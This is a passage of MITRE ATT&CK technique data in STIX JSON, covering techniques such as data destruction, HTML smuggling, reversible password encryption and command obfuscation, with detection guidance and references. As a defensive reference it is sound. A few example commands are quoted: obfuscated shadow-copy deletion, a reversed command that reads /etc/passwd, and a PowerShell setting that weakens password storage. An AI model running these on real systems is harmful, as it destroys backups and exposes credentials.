Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Drive: Drive Creation", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1200", "external_id": "T1200"}, {"source_name": "Ossmann Star Feb 2011", "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.", "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"}, {"source_name": "Aleks Weapons Nov 2015", "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ"}, {"source_name": "McMillan Pwn March 2012", "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.", "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"}, {"source_name": "Frisk DMA August 2016", "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.", "url": "https://www.youtube.com/watch?v=fXthwl6ShOg"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2022-10-19T21:18:29.349Z", "name": "Server Software Component", "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ", "x_mitre_platforms": ["Windows", "Linux", "macOS", "Network"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "File: File Modification", "File: File Creation", "Process: Process Creation", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "created": "2019-06-28T17:52:07.296Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505", "external_id": "T1505"}, {"source_name": "volexity_0day_sophos_FW", "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"}, {"source_name": "US-CERT Alert TA15-314A Web Shells", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-03T17:30:32.192Z", "name": "Data Destruction", "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Brent Murphy, Elastic", "David French, Elastic", "Syed Ummar Farooqh, McAfee", "Prasad Somasamudram, McAfee", "Sekhar Sarukkai, McAfee", "Varonis Threat Labs", "Joey Lei"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\\Windows\\System32\\</code>.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Snapshot: Snapshot Deletion", "Process: Process Creation", "File: File Deletion", "Image: Image Deletion", "Instance: Instance Deletion", "File: File Modification", "Volume: Volume Deletion", "Cloud Storage: Cloud Storage Deletion", "Command: Command Execution"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "created": "2019-03-14T18:47:17.701Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1485", "external_id": "T1485"}, {"source_name": "DOJ  - Cisco Insider", "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.", "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"}, {"source_name": "Unit 42 Shamoon3 2018", "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"}, {"source_name": "Palo Alto Shamoon Nov 2016", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}, {"source_name": "FireEye Shamoon Nov 2016", "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"}, {"source_name": "Kaspersky StoneDrill 2017", "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"}, {"source_name": "Talos Olympic Destroyer 2018", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}, {"source_name": "Data Destruction - Threat Post", "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.", "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"}, {"source_name": "Symantec Shamoon 2012", "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "type": "attack-pattern", "created": "2020-03-14T23:39:50.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1132.002", "url": "https://attack.mitre.org/techniques/T1132/002"}, {"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding", "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", "source_name": "Wikipedia Binary-to-text Encoding"}, {"url": "https://en.wikipedia.org/wiki/Character_encoding", "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", "source_name": "Wikipedia Character Encoding"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-14T23:39:50.117Z", "name": "Non-Standard Encoding", "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", "type": "attack-pattern", "created": "2020-02-11T19:05:02.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1556.001", "url": "https://attack.mitre.org/techniques/T1556/001"}, {"source_name": "Dell Skeleton", "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"}, {"url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "source_name": "TechNet Audit Policy"}], "modified": "2021-04-20T20:10:26.613Z", "name": "Domain Controller Authentication", "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Process: Process Access", "File: File Modification", "Process: OS API Execution"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-11T15:53:00.577Z", "name": "Transfer Data to Cloud Account", "description": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["Praetorian", "Darin Smith, Cisco", "ExtraHop", "Gabriel Currie"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["IaaS", "SaaS", "Google Workspace", "Office 365"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Cloud Storage: Cloud Storage Modification", "Snapshot: Snapshot Creation", "Snapshot: Snapshot Modification", "Cloud Storage: Cloud Storage Metadata", "Snapshot: Snapshot Metadata", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Cloud Storage: Cloud Storage Creation"], "type": "attack-pattern", "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "created": "2019-08-30T13:03:04.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1537", "external_id": "T1537"}, {"source_name": "AWS EBS Snapshot Sharing", "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"}, {"source_name": "TLDRSec AWS Attacks", "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.", "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks"}, {"source_name": "Azure Shared Access Signature", "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.", "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"}, {"source_name": "Azure Blob Snapshots", "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.", "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"}, {"source_name": "Microsoft Azure Storage Shared Access Signature", "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.", "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-07-14T14:01:41.475Z", "name": "HTML Smuggling", "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Stan Hegt, Outflank", "Jonathan Boucher, @crash_wave, Bank of Canada", "Krishnan Subramanian, @krish203", "Vinay Pidathala"], "x_mitre_deprecated": false, "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "Web Content Filters", "Static File Analysis"], "type": "attack-pattern", "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", "created": "2021-05-20T12:20:42.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/006", "external_id": "T1027.006"}, {"source_name": "Outlflank HTML Smuggling 2018", "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.", "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"}, {"source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}, {"source_name": "HTML Smuggling Menlo Security 2020", "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.", "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"}, {"source_name": "nccgroup Smuggling HTA 2017", "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.", "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", "type": "attack-pattern", "created": "2022-01-13T20:02:28.349Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1556.005", "url": "https://attack.mitre.org/techniques/T1556/005"}, {"source_name": "store_pwd_rev_enc", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption", "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."}, {"source_name": "how_pwd_rev_enc_1", "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html", "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021."}, {"source_name": "how_pwd_rev_enc_2", "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html", "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021."}, {"source_name": "dump_pwd_dcsync", "url": "https://adsecurity.org/?p=2053", "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."}], "modified": "2022-02-10T21:35:25.377Z", "name": "Reversible Encryption", "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor property changes in Group Policy: <code>Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption</code>. By default, the property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "Command: Command Execution", "User Account: User Account Metadata", "Script: Script Execution"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"modified": "2023-03-24T15:01:21.117Z", "name": "Command Obfuscation", "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["TruKno", "Tim Peck", "George Thomas"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Metadata", "Script: Script Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "created": "2023-03-14T17:36:01.022Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": 